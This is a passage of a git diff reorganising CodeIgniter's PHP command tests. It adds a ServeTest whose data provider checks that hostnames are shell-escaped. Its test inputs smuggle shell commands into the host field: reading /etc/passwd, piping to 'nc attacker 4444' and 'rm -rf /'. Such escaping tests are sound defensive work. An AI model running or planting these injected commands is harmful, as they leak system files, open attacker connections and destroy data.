$this->assertStringContainsString($expectedMessage, $this->getUndecoratedBuffer()); $this->assertFileExists($expectedTestFile); } @@ -93,6 +92,7 @@ public static function provideGenerateTestFiles(): iterable public function testGenerateTestWithEmptyClassName(): void { $expectedFile = ROOTPATH . 'tests/FooTest.php'; + CLI::reset(); try { $io = new MockInputOutput(); @@ -106,7 +106,7 @@ public function testGenerateTestWithEmptyClassName(): void $expectedOutput .= 'The "Test class name" field is required.' . PHP_EOL; $expectedOutput .= 'Test class name : Foo' . PHP_EOL . PHP_EOL; $expectedOutput .= 'File created: ROOTPATH/tests/FooTest.php' . PHP_EOL . PHP_EOL; - $this->assertSame($expectedOutput, $io->getOutput()); + $this->assertSame($expectedOutput, preg_replace('/\e\[[^m]+m/', '', $io->getOutput())); $this->assertFileExists($expectedFile); } finally { if (is_file($expectedFile)) { diff --git a/tests/system/Commands/TransformerGeneratorTest.php b/tests/system/Commands/Generators/TransformerGeneratorTest.php similarity index 98% rename from tests/system/Commands/TransformerGeneratorTest.php rename to tests/system/Commands/Generators/TransformerGeneratorTest.php index 588bf3243d68..2b007d590aaa 100644 --- a/tests/system/Commands/TransformerGeneratorTest.php +++ b/tests/system/Commands/Generators/TransformerGeneratorTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Commands/ValidationGeneratorTest.php b/tests/system/Commands/Generators/ValidationGeneratorTest.php similarity index 96% rename from tests/system/Commands/ValidationGeneratorTest.php rename to tests/system/Commands/Generators/ValidationGeneratorTest.php index 0bcbcdec12e7..6779e9a6d4d5 100644 --- a/tests/system/Commands/ValidationGeneratorTest.php +++ b/tests/system/Commands/Generators/ValidationGeneratorTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Generators; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Commands/ClearDebugbarTest.php b/tests/system/Commands/Housekeeping/ClearDebugbarTest.php similarity index 54% rename from tests/system/Commands/ClearDebugbarTest.php rename to tests/system/Commands/Housekeeping/ClearDebugbarTest.php index b3c2de18c394..e380e0aaaf68 100644 --- a/tests/system/Commands/ClearDebugbarTest.php +++ b/tests/system/Commands/Housekeeping/ClearDebugbarTest.php @@ -11,11 +11,13 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Housekeeping; +use CodeIgniter\CLI\CLI; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; use PHPUnit\Framework\Attributes\Group; +use PHPUnit\Framework\Attributes\RequiresOperatingSystem; /** * @internal @@ -31,10 +33,26 @@ protected function setUp(): void { parent::setUp(); + command('debugbar:clear'); + $this->resetStreamFilterBuffer(); + + CLI::reset(); + $this->time = time(); + $this->createDummyDebugbarJson(); } - protected function createDummyDebugbarJson(): void + protected function tearDown(): void + { + command('debugbar:clear'); + $this->resetStreamFilterBuffer(); + + CLI::reset(); + + parent::tearDown(); + } + + private function createDummyDebugbarJson(): void { $time = $this->time; $path = WRITEPATH . 'debugbar' . DIRECTORY_SEPARATOR . "debugbar_{$time}.json"; @@ -50,18 +68,35 @@ protected function createDummyDebugbarJson(): void public function testClearDebugbarWorks(): void { - // test clean debugbar dir - $this->assertFileDoesNotExist(WRITEPATH . 'debugbar' . DIRECTORY_SEPARATOR . "debugbar_{$this->time}.json"); - - // test dir is now populated with json - $this->createDummyDebugbarJson(); $this->assertFileExists(WRITEPATH . 'debugbar' . DIRECTORY_SEPARATOR . "debugbar_{$this->time}.json"); command('debugbar:clear'); - $result = $this->getStreamFilterBuffer(); $this->assertFileDoesNotExist(WRITEPATH . 'debugbar' . DIRECTORY_SEPARATOR . "debugbar_{$this->time}.json"); $this->assertFileExists(WRITEPATH . 'debugbar' . DIRECTORY_SEPARATOR . 'index.html'); - $this->assertStringContainsString('Debugbar cleared.', $result); + $this->assertSame( + "\nDebugbar cleared.\n", + preg_replace('/\e\[[^m]+m/', '', $this->getStreamFilterBuffer()), + ); + } + + #[RequiresOperatingSystem('Darwin|Linux')] + public function testClearDebugbarWithError(): void + { + $path = WRITEPATH . 'debugbar' . DIRECTORY_SEPARATOR . "debugbar_{$this->time}.json"; + + // Attempt to make the file itself undeletable + chmod(dirname($path), 0555); + + command('debugbar:clear'); + + // Restore attributes so other tests are not affected. + chmod(dirname($path), 0755); + + $this->assertFileExists($path); + $this->assertSame( + "\nError deleting the debugbar JSON files.\n", + preg_replace('/\e\[[^m]+m/', '', $this->getStreamFilterBuffer()), + ); } } diff --git a/tests/system/Commands/Housekeeping/ClearLogsTest.php b/tests/system/Commands/Housekeeping/ClearLogsTest.php new file mode 100644 index 000000000000..a8469873e84d --- /dev/null +++ b/tests/system/Commands/Housekeeping/ClearLogsTest.php @@ -0,0 +1,171 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +namespace CodeIgniter\Commands\Housekeeping; + +use CodeIgniter\CLI\CLI; +use CodeIgniter\Test\CIUnitTestCase; +use CodeIgniter\Test\Mock\MockInputOutput; +use CodeIgniter\Test\StreamFilterTrait; +use PHPUnit\Framework\Attributes\Group; +use PHPUnit\Framework\Attributes\RequiresOperatingSystem; + +/** + * @internal + */ +#[Group('Others')] +final class ClearLogsTest extends CIUnitTestCase +{ + use StreamFilterTrait; + + private string $date; + + protected function setUp(): void + { + parent::setUp(); + + // test runs on other tests may log errors since default threshold + // is now 4, so set this to a safe distance + $this->date = date('Y-m-d', strtotime('+1 year')); + + command('logs:clear --force'); + $this->resetStreamFilterBuffer(); + + CLI::reset(); + + $this->createDummyLogFiles(); + } + + protected function tearDown(): void + { + command('logs:clear --force'); + $this->resetStreamFilterBuffer(); + + CLI::reset(); + + parent::tearDown(); + } + + private function createDummyLogFiles(): void + { + $date = $this->date; + $path = WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$date}.log"; + + // create 10 dummy log files + for ($i = 0; $i < 10; $i++) { + $newDate = date('Y-m-d', strtotime("+1 year -{$i} day")); + + $path = str_replace($date, $newDate, $path); + file_put_contents($path, 'Lorem ipsum'); + + $date = $newDate; + } + } + + public function testClearLogsUsingForce(): void + { + $this->assertFileExists(WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$this->date}.log"); + + command('logs:clear --force'); + + $this->assertFileDoesNotExist(WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$this->date}.log"); + $this->assertFileExists(WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . 'index.html'); + $this->assertSame("\nLogs cleared.\n", preg_replace('/\e\[[^m]+m/', '', $this->getStreamFilterBuffer())); + } + + public function testClearLogsAbortsClearWithoutForce(): void + { + $this->assertFileExists(WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$this->date}.log"); + + $io = new MockInputOutput(); + $io->setInputs(['n']); + CLI::setInputOutput($io); + + command('logs:clear'); + + $this->assertFileExists(WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$this->date}.log"); + $this->assertSame( + <<<'EOT' + Are you sure you want to delete the logs? [n, y]: n + Deleting logs aborted. + + EOT, + preg_replace('/\e\[[^m]+m/', '', $io->getOutput()), + ); + } + + public function testClearLogsAbortsClearWithoutForceWithDefaultAnswer(): void + { + $this->assertFileExists(WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$this->date}.log"); + + $io = new MockInputOutput(); + $io->setInputs(['']); + CLI::setInputOutput($io); + + $space = ' '; + + command('logs:clear'); + + $this->assertFileExists(WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$this->date}.log"); + $this->assertSame( + <<getOutput()), + ); + } + + public function testClearLogsWithoutForceButWithConfirmation(): void + { + $this->assertFileExists(WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$this->date}.log"); + + $io = new MockInputOutput(); + $io->setInputs(['y']); + CLI::setInputOutput($io); + + command('logs:clear'); + + $this->assertFileDoesNotExist(WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$this->date}.log"); + $this->assertSame( + <<<'EOT' + Are you sure you want to delete the logs? [n, y]: y + Logs cleared. + + EOT, + preg_replace('/\e\[[^m]+m/', '', $io->getOutput()), + ); + } + + #[RequiresOperatingSystem('Darwin|Linux')] + public function testClearLogsFailsOnChmodFailure(): void + { + $path = WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$this->date}.log"; + file_put_contents($path, 'Lorem ipsum'); + + // Attempt to make the file itself undeletable + chmod(dirname($path), 0555); + + command('logs:clear --force'); + + // Restore attributes so other tests are not affected. + chmod(dirname($path), 0755); + + $this->assertFileExists($path); + $this->assertSame( + "\nError in deleting the logs files.\n", + preg_replace('/\e\[[^m]+m/', '', $this->getStreamFilterBuffer()), + ); + } +} diff --git a/tests/system/Commands/ListCommandsTest.php b/tests/system/Commands/ListCommandsTest.php new file mode 100644 index 000000000000..9d86b1e0dd39 --- /dev/null +++ b/tests/system/Commands/ListCommandsTest.php @@ -0,0 +1,55 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +namespace CodeIgniter\Commands; + +use CodeIgniter\CLI\CLI; +use CodeIgniter\Test\CIUnitTestCase; +use CodeIgniter\Test\StreamFilterTrait; +use PHPUnit\Framework\Attributes\After; +use PHPUnit\Framework\Attributes\Before; +use PHPUnit\Framework\Attributes\CoversClass; +use PHPUnit\Framework\Attributes\Group; + +/** + * @internal + */ +#[CoversClass(ListCommands::class)] +#[Group('Others')] +final class ListCommandsTest extends CIUnitTestCase +{ + use StreamFilterTrait; + + #[After] + #[Before] + protected function resetCli(): void + { + CLI::reset(); + } + + public function testRunCommand(): void + { + command('list'); + + $this->assertStringContainsString('cache:clear', $this->getStreamFilterBuffer()); + $this->assertStringContainsString('Clears the current system caches.', $this->getStreamFilterBuffer()); + } + + public function testRunCommandWithSimpleOption(): void + { + command('list --simple'); + + $this->assertStringContainsString('cache:clear', $this->getStreamFilterBuffer()); + $this->assertStringNotContainsString('Clears the current system caches.', $this->getStreamFilterBuffer()); + } +} diff --git a/tests/system/Commands/MigrationIntegrationTest.php b/tests/system/Commands/MigrationIntegrationTest.php index 12869f9092c6..07a477624db0 100644 --- a/tests/system/Commands/MigrationIntegrationTest.php +++ b/tests/system/Commands/MigrationIntegrationTest.php @@ -15,9 +15,12 @@ use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; +use Config\Database; use PHPUnit\Framework\Attributes\Group; /** + * @todo To figure out how to transfer this test to `tests/system/Commands/Database/` without breaking DatabaseLive group. + * * @internal */ #[Group('DatabaseLive')] @@ -25,51 +28,60 @@ final class MigrationIntegrationTest extends CIUnitTestCase { use StreamFilterTrait; - private string $migrationFileFrom = SUPPORTPATH . 'Database/Migrations/20160428212500_Create_test_tables.php'; - private string $migrationFileTo = APPPATH . 'Database/Migrations/20160428212500_Create_test_tables.php'; - protected function setUp(): void { - parent::setUp(); - - if (! is_file($this->migrationFileFrom)) { - $this->fail(clean_path($this->migrationFileFrom) . ' is not found.'); - } + $this->resetServices(); - if (is_file($this->migrationFileTo)) { - @unlink($this->migrationFileTo); - } - - copy($this->migrationFileFrom, $this->migrationFileTo); + parent::setUp(); - $contents = file_get_contents($this->migrationFileTo); - $contents = str_replace('namespace Tests\Support\Database\Migrations;', 'namespace App\Database\Migrations;', $contents); - file_put_contents($this->migrationFileTo, $contents); + service('migrations')->clearHistory(); + $this->dropTestTables(); } protected function tearDown(): void { - parent::tearDown(); + service('migrations')->clearHistory(); + $this->dropTestTables(); - if (is_file($this->migrationFileTo)) { - @unlink($this->migrationFileTo); - } + $this->resetServices(); + + parent::tearDown(); } public function testMigrationWithRollbackHasSameNameFormat(): void { - command('migrate -n App'); + command('migrate -n Tests\\\\Support'); $this->assertStringContainsString( - '(App) 20160428212500_App\Database\Migrations\Migration_Create_test_tables', + '(Tests\Support) 20160428212500_Tests\Support\Database\Migrations\Migration_Create_test_tables', $this->getStreamFilterBuffer(), ); $this->resetStreamFilterBuffer(); + $this->resetServices(); - command('migrate:rollback -n App'); + command('migrate:rollback'); $this->assertStringContainsString( - '(App) 20160428212500_App\Database\Migrations\Migration_Create_test_tables', + '(Tests\Support) 20160428212500_Tests\Support\Database\Migrations\Migration_Create_test_tables', $this->getStreamFilterBuffer(), ); } + + private function dropTestTables(): void + { + $db = Database::connect(); + $forge = Database::forge(); + $tables = $db->listTables(); + + if ($tables === false) { + return; + } + + foreach ($tables as $table) { + if ($table === $db->DBPrefix . 'migrations') { + continue; + } + + $forge->dropTable($table, true); + } + } } diff --git a/tests/system/Commands/Server/ServeTest.php b/tests/system/Commands/Server/ServeTest.php new file mode 100644 index 000000000000..2771d2b64bd0 --- /dev/null +++ b/tests/system/Commands/Server/ServeTest.php @@ -0,0 +1,138 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +namespace CodeIgniter\Commands\Server; + +use Closure; +use CodeIgniter\Test\CIUnitTestCase; +use PHPUnit\Framework\Attributes\DataProvider; +use PHPUnit\Framework\Attributes\Group; +use PHPUnit\Framework\Attributes\RequiresOperatingSystem; + +/** + * @internal + */ +#[Group('Others')] +#[RequiresOperatingSystem('^(?!WIN)')] +final class ServeTest extends CIUnitTestCase +{ + /** + * @return Closure(string, string, int, string, string): string + */ + private function buildServeCommand(): Closure + { + /** @var Closure(string, string, int, string, string): string */ + return self::getPrivateMethodInvoker( + new Serve(service('logger'), service('commands')), + 'buildServeCommand', + ); + } + + public function testBuildsExpectedCommandWithDefaultArguments(): void + { + $build = $this->buildServeCommand(); + + $command = $build('/usr/bin/php', 'localhost', 8080, '/srv/public', '/srv/system/rewrite.php'); + + $this->assertSame( + "'/usr/bin/php' -S 'localhost:8080' -t '/srv/public' '/srv/system/rewrite.php'", + $command, + ); + } + + #[DataProvider('provideEscapesMaliciousHosts')] + public function testEscapesMaliciousHosts(string $host, string $expected): void + { + $build = $this->buildServeCommand(); + + $command = $build('/usr/bin/php', $host, 8080, '/srv/public', '/srv/system/rewrite.php'); + + $this->assertSame($expected, $command); + } + + /** + * @return iterable + */ + public static function provideEscapesMaliciousHosts(): iterable + { + yield 'command substitution dollar' => [ + '$(id)', + "'/usr/bin/php' -S '\$(id):8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'command substitution backtick' => [ + '`whoami`', + "'/usr/bin/php' -S '`whoami`:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'shell separator semicolon' => [ + 'localhost;cat /etc/passwd', + "'/usr/bin/php' -S 'localhost;cat /etc/passwd:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'shell separator pipe' => [ + 'localhost|nc attacker 4444', + "'/usr/bin/php' -S 'localhost|nc attacker 4444:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'shell separator ampersand' => [ + 'localhost && rm -rf /', + "'/usr/bin/php' -S 'localhost && rm -rf /:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'redirection' => [ + 'localhost>/tmp/pwn', + "'/usr/bin/php' -S 'localhost>/tmp/pwn:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'embedded single quote' => [ + "a'b", + "'/usr/bin/php' -S 'a'\\''b:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + + yield 'newline' => [ + "localhost\nmalicious", + "'/usr/bin/php' -S 'localhost\nmalicious:8080' -t '/srv/public' '/srv/system/rewrite.php'", + ]; + } + + public function testEscapesPhpBinaryAndPaths(): void + { + $build = $this->buildServeCommand(); + + $command = $build( + '/path with spaces/php', + 'localhost', + 8080, + '/path with spaces/public', + '/path with spaces/system/rewrite.php', + ); + + $this->assertSame( + "'/path with spaces/php' -S 'localhost:8080' -t '/path with spaces/public' '/path with spaces/system/rewrite.php'", + $command, + ); + } + + public function testHonoursAdjustedPortValue(): void + { + $build = $this->buildServeCommand(); + + $command = $build('/usr/bin/php', 'localhost', 8082, '/srv/public', '/srv/system/rewrite.php'); + + $this->assertSame( + "'/usr/bin/php' -S 'localhost:8082' -t '/srv/public' '/srv/system/rewrite.php'", + $command, + ); + } +} diff --git a/tests/system/Commands/Translation/LocalizationFinderTest.php b/tests/system/Commands/Translation/LocalizationFinderTest.php index f40ae88098f5..3baa82290f1f 100644 --- a/tests/system/Commands/Translation/LocalizationFinderTest.php +++ b/tests/system/Commands/Translation/LocalizationFinderTest.php @@ -29,18 +29,36 @@ final class LocalizationFinderTest extends CIUnitTestCase private static string $locale; private static string $languageTestPath; + private string $originalLocale; + + /** + * @var list + */ + private array $originalSupportedLocales; protected function setUp(): void { parent::setUp(); - self::$locale = Locale::getDefault(); + + $this->originalLocale = Locale::getDefault(); + Locale::setDefault('en'); + + $appConfig = config(App::class); + $this->originalSupportedLocales = $appConfig->supportedLocales; + $appConfig->supportedLocales = ['en', 'ru', 'de']; + + self::$locale = 'en'; self::$languageTestPath = SUPPORTPATH . 'Language' . DIRECTORY_SEPARATOR; + $this->clearGeneratedFiles(); } protected function tearDown(): void { parent::tearDown(); + $this->clearGeneratedFiles(); + Locale::setDefault($this->originalLocale); + config(App::class)->supportedLocales = $this->originalSupportedLocales; } public function testUpdateDefaultLocale(): void diff --git a/tests/system/Commands/Translation/LocalizationSyncTest.php b/tests/system/Commands/Translation/LocalizationSyncTest.php index f6dc00764eac..a64105163b1c 100644 --- a/tests/system/Commands/Translation/LocalizationSyncTest.php +++ b/tests/system/Commands/Translation/LocalizationSyncTest.php @@ -32,6 +32,12 @@ final class LocalizationSyncTest extends CIUnitTestCase private static string $locale; private static string $languageTestPath; + private string $originalLocale; + + /** + * @var list + */ + private array $originalSupportedLocales; /** * @var array|string|null> @@ -56,10 +62,16 @@ protected function setUp(): void { parent::setUp(); - config(App::class)->supportedLocales = ['en', 'ru', 'de']; + $this->originalLocale = Locale::getDefault(); + Locale::setDefault('en'); - self::$locale = Locale::getDefault(); + $appConfig = config(App::class); + $this->originalSupportedLocales = $appConfig->supportedLocales; + $appConfig->supportedLocales = ['en', 'ru', 'de']; + + self::$locale = 'en'; self::$languageTestPath = SUPPORTPATH . 'Language/'; + $this->clearGeneratedFiles(); $this->makeLanguageFiles(); } @@ -68,6 +80,8 @@ protected function tearDown(): void parent::tearDown(); $this->clearGeneratedFiles(); + Locale::setDefault($this->originalLocale); + config(App::class)->supportedLocales = $this->originalSupportedLocales; } public function testSyncDefaultLocale(): void @@ -171,7 +185,6 @@ public function testSyncWithNullableOriginalLangValue(): void TEXT_WRAP; file_put_contents(self::$languageTestPath . self::$locale . '/SyncInvalid.php', $langWithNullValue); - ob_get_flush(); $this->expectException(LogicException::class); $this->expectExceptionMessageMatches('/Only "array" or "string" is allowed/'); @@ -192,7 +205,6 @@ public function testSyncWithIntegerOriginalLangValue(): void TEXT_WRAP; file_put_contents(self::$languageTestPath . self::$locale . '/SyncInvalid.php', $langWithIntegerValue); - ob_get_flush(); $this->expectException(LogicException::class); $this->expectExceptionMessageMatches('/Only "array" or "string" is allowed/'); @@ -249,6 +261,9 @@ private function makeLanguageFiles(): void ]; TEXT_WRAP; + @mkdir(self::$languageTestPath . self::$locale, 0777, true); + @mkdir(self::$languageTestPath . 'ru', 0777, true); + file_put_contents(self::$languageTestPath . self::$locale . '/Sync.php', $lang); file_put_contents(self::$languageTestPath . 'ru/Sync.php', $lang); } diff --git a/tests/system/Commands/Utilities/ConfigCheckTest.php b/tests/system/Commands/Utilities/ConfigCheckTest.php index 22d0e3d1f1d3..d6aeba15e664 100644 --- a/tests/system/Commands/Utilities/ConfigCheckTest.php +++ b/tests/system/Commands/Utilities/ConfigCheckTest.php @@ -14,6 +14,7 @@ namespace CodeIgniter\Commands\Utilities; use Closure; +use CodeIgniter\CLI\CLI; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; use Config\App; @@ -31,34 +32,38 @@ final class ConfigCheckTest extends CIUnitTestCase public static function setUpBeforeClass(): void { + parent::setUpBeforeClass(); + App::$override = false; putenv('NO_COLOR=1'); CliRenderer::$cli_colors = false; - - parent::setUpBeforeClass(); } public static function tearDownAfterClass(): void { + parent::tearDownAfterClass(); + App::$override = true; putenv('NO_COLOR'); CliRenderer::$cli_colors = true; - - parent::tearDownAfterClass(); } protected function setUp(): void { - $this->resetServices(); parent::setUp(); + + $this->resetServices(); + CLI::reset(); } protected function tearDown(): void { - $this->resetServices(); parent::tearDown(); + + $this->resetServices(); + CLI::reset(); } public function testCommandConfigCheckWithNoArgumentPassed(): void @@ -67,13 +72,14 @@ public function testCommandConfigCheckWithNoArgumentPassed(): void $this->assertSame( <<<'EOF' + You must specify a Config classname. Usage: config:check Example: config:check App config:check 'CodeIgniter\Shield\Config\Auth' EOF, - str_replace("\n\n", "\n", $this->getStreamFilterBuffer()), + $this->getStreamFilterBuffer(), ); } @@ -82,16 +88,14 @@ public function testCommandConfigCheckNonexistentClass(): void command('config:check Nonexistent'); $this->assertSame( - "No such Config class: Nonexistent\n", + "\nNo such Config class: Nonexistent\n", $this->getStreamFilterBuffer(), ); } public function testConfigCheckWithKintEnabledUsesKintD(): void { - /** - * @var Closure(mixed...): string - */ + /** @var Closure(mixed...): string */ $command = self::getPrivateMethodInvoker( new ConfigCheck(service('logger'), service('commands')), 'getKintD', @@ -100,33 +104,26 @@ public function testConfigCheckWithKintEnabledUsesKintD(): void command('config:check App'); $this->assertSame( - $command(config('App')) . "\n", + "\n" . $command(config('App')) . "\n", preg_replace('/\s+Config Caching: \S+/', '', $this->getStreamFilterBuffer()), ); } public function testConfigCheckWithKintDisabledUsesVarDump(): void { - /** - * @var Closure(mixed...): string - */ + /** @var Closure(mixed...): string */ $command = self::getPrivateMethodInvoker( new ConfigCheck(service('logger'), service('commands')), 'getVarDump', ); - $clean = static fn (string $input): string => trim(preg_replace( - '/(\033\[[0-9;]+m)|(\035\[[0-9;]+m)/u', - '', - $input, - )); try { Kint::$enabled_mode = false; command('config:check App'); $this->assertSame( - $clean($command(config('App'))), - $clean(preg_replace('/\s+Config Caching: \S+/', '', $this->getStreamFilterBuffer())), + "\n" . $command(config('App')), + preg_replace('/\s+Config Caching: \S+/', '', $this->getStreamFilterBuffer()), ); } finally { Kint::$enabled_mode = true; diff --git a/tests/system/Commands/EnvironmentCommandTest.php b/tests/system/Commands/Utilities/EnvironmentCommandTest.php similarity index 90% rename from tests/system/Commands/EnvironmentCommandTest.php rename to tests/system/Commands/Utilities/EnvironmentCommandTest.php index 597805ee8a38..3513436fa9f9 100644 --- a/tests/system/Commands/EnvironmentCommandTest.php +++ b/tests/system/Commands/Utilities/EnvironmentCommandTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Utilities; use CodeIgniter\Config\Services; use CodeIgniter\Superglobals; @@ -64,6 +64,13 @@ public function testUsingCommandWithNoArgumentsGivesCurrentEnvironment(): void $this->assertStringContainsString(ENVIRONMENT, $this->getStreamFilterBuffer()); } + public function testUsingCommandWithOptionsOnlyGivesCurrentEnvironment(): void + { + command('env --foo'); + $this->assertStringContainsString('testing', $this->getStreamFilterBuffer()); + $this->assertStringContainsString(ENVIRONMENT, $this->getStreamFilterBuffer()); + } + public function testProvidingTestingAsEnvGivesErrorMessage(): void { command('env testing'); diff --git a/tests/system/Commands/FilterCheckTest.php b/tests/system/Commands/Utilities/FilterCheckTest.php similarity index 97% rename from tests/system/Commands/FilterCheckTest.php rename to tests/system/Commands/Utilities/FilterCheckTest.php index c6644e02e94e..b2f0d3b8144d 100644 --- a/tests/system/Commands/FilterCheckTest.php +++ b/tests/system/Commands/Utilities/FilterCheckTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Utilities; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Commands/PublishCommandTest.php b/tests/system/Commands/Utilities/PublishCommandTest.php similarity index 96% rename from tests/system/Commands/PublishCommandTest.php rename to tests/system/Commands/Utilities/PublishCommandTest.php index 0cd2605aaa1e..ad35865367ec 100644 --- a/tests/system/Commands/PublishCommandTest.php +++ b/tests/system/Commands/Utilities/PublishCommandTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Utilities; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Commands/Utilities/Routes/AutoRouterImproved/ControllerMethodReaderTest.php b/tests/system/Commands/Utilities/Routes/AutoRouterImproved/ControllerMethodReaderTest.php index 1619dd668b31..2586f4400031 100644 --- a/tests/system/Commands/Utilities/Routes/AutoRouterImproved/ControllerMethodReaderTest.php +++ b/tests/system/Commands/Utilities/Routes/AutoRouterImproved/ControllerMethodReaderTest.php @@ -128,8 +128,7 @@ public function testReadTranslateUriToCamelCase(): void 'route' => 'sub-dir/blog-controller', 'route_params' => '', 'handler' => '\CodeIgniter\Commands\Utilities\Routes\AutoRouterImproved\Controllers\SubDir\BlogController::getIndex', - 'params' => [ - ], + 'params' => [], ], [ 'method' => 'get', diff --git a/tests/system/Commands/Utilities/Routes/FilterCollectorTest.php b/tests/system/Commands/Utilities/Routes/FilterCollectorTest.php index fb6c0e5e8ebd..3e716fb71edf 100644 --- a/tests/system/Commands/Utilities/Routes/FilterCollectorTest.php +++ b/tests/system/Commands/Utilities/Routes/FilterCollectorTest.php @@ -35,10 +35,8 @@ public function testGet(): void $filters = $collector->get(Method::GET, '/'); $expected = [ - 'before' => [ - ], - 'after' => [ - ], + 'before' => [], + 'after' => [], ]; $this->assertSame($expected, $filters); } diff --git a/tests/system/Commands/Utilities/Routes/FilterFinderTest.php b/tests/system/Commands/Utilities/Routes/FilterFinderTest.php index 8d6db5c20620..ce813ec3631e 100644 --- a/tests/system/Commands/Utilities/Routes/FilterFinderTest.php +++ b/tests/system/Commands/Utilities/Routes/FilterFinderTest.php @@ -102,9 +102,7 @@ private function createFilters(array $config = []): Filters public function testFindGlobalsFilters(): void { - /** - * @var RouteCollection $collection - */ + /** @var RouteCollection $collection */ $collection = $this->createRouteCollection(); $router = $this->createRouter($collection); $filters = $this->createFilters(); @@ -122,9 +120,7 @@ public function testFindGlobalsFilters(): void public function testFindGlobalsFiltersWithRedirectRoute(): void { - /** - * @var RouteCollection $collection - */ + /** @var RouteCollection $collection */ $collection = $this->createRouteCollection(); $collection->addRedirect('users/about', 'profile'); @@ -144,9 +140,7 @@ public function testFindGlobalsFiltersWithRedirectRoute(): void public function testFindGlobalsAndRouteFilters(): void { - /** - * @var RouteCollection $collection - */ + /** @var RouteCollection $collection */ $collection = $this->createRouteCollection(); $collection->get('admin', ' AdminController::index', ['filter' => 'honeypot']); $router = $this->createRouter($collection); @@ -201,9 +195,7 @@ public function testFindClassesGlobalsAndRouteFiltersWithArguments(): void public function testFindGlobalsAndRouteClassnameFilters(): void { - /** - * @var RouteCollection $collection - */ + /** @var RouteCollection $collection */ $collection = $this->createRouteCollection(); $collection->get('admin', ' AdminController::index', ['filter' => InvalidChars::class]); $router = $this->createRouter($collection); @@ -222,9 +214,7 @@ public function testFindGlobalsAndRouteClassnameFilters(): void public function testFindGlobalsAndRouteMultipleFilters(): void { - /** - * @var RouteCollection $collection - */ + /** @var RouteCollection $collection */ $collection = $this->createRouteCollection(); $collection->get('admin', ' AdminController::index', ['filter' => ['honeypot', InvalidChars::class]]); $router = $this->createRouter($collection); @@ -243,9 +233,7 @@ public function testFindGlobalsAndRouteMultipleFilters(): void public function testFilterOrder(): void { - /** - * @var RouteCollection $collection - */ + /** @var RouteCollection $collection */ $collection = $this->createRouteCollection([]); $collection->get('/', ' Home::index', ['filter' => ['route1', 'route2']]); $router = $this->createRouter($collection); @@ -311,9 +299,7 @@ public function testFilterOrderWithOldFilterOrder(): void $feature = config(Feature::class); $feature->oldFilterOrder = true; - /** - * @var RouteCollection $collection - */ + /** @var RouteCollection $collection */ $collection = $this->createRouteCollection([]); $collection->get('/', ' Home::index', ['filter' => ['route1', 'route2']]); $router = $this->createRouter($collection); diff --git a/tests/system/Commands/RoutesTest.php b/tests/system/Commands/Utilities/RoutesTest.php similarity index 85% rename from tests/system/Commands/RoutesTest.php rename to tests/system/Commands/Utilities/RoutesTest.php index a28c0cc02e1a..1d433242846b 100644 --- a/tests/system/Commands/RoutesTest.php +++ b/tests/system/Commands/Utilities/RoutesTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Utilities; use CodeIgniter\Router\RouteCollection; use CodeIgniter\Test\CIUnitTestCase; @@ -56,7 +56,7 @@ private function getCleanRoutes(): RouteCollection public function testRoutesCommand(): void { - Services::injectMock('routes', null); + Services::resetSingle('routes'); command('routes'); @@ -92,9 +92,9 @@ public function testRoutesCommand(): void public function testRoutesCommandSortByHandler(): void { - Services::injectMock('routes', null); + Services::resetSingle('routes'); - command('routes -h'); + command('routes --sort-by-handler'); $expected = <<<'EOL' +---------+---------+---------------+----------------------------------------+----------------+---------------+ @@ -117,9 +117,44 @@ public function testRoutesCommandSortByHandler(): void $this->assertStringContainsString($expected, $this->getBuffer()); } + /** + * @todo To remove this test and the backward compatibility for -h in v4.8.0. + */ + public function 